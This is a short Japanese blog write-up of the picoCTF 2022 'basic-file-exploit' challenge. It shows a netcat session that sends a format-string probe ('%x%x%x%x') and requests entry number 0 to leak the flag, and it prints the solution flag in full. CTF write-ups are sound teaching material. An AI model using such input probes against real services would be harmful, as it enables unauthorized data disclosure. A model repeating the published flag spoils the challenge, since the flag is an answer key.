0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

picoCTF 2022 writeup basic-file-exploit

Posted at

basic-file-exploit (Binary exploitation)

The program provided allows you to write to a file and read what you wrote from it. Try playing around with it and see if you can break it!
The program's source code with the flag redacted can be downloaded here.
Connect to the program with netcat:
$ nc saturn.picoctf.net 59093

添付ファイル
・program-redacted.c

とりあえず、実行してみる。

$ nc saturn.picoctf.net 59093
Hi, welcome to my echo chamber!
Type '1' to enter a phrase into our database
Type '2' to echo a phrase in our database
Type '3' to exit the program
1
1
Please enter your data:
%x%x%x%x
%x%x%x%x
Please enter the length of your data:
8
8
Your entry number is: 1
Write successful, would you like to do anything else?
2
2
Please enter the entry number of your data:
0
0
picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_E0394EC0}

フラグが出てきてしまった。

picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_E0394EC0}

ちなみに、最初に選択肢1を選び、何らかの文字を入力した後、2を選んでPlease enter the entry number of your data:のところで0を入力すれば、フラグが出力できる。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?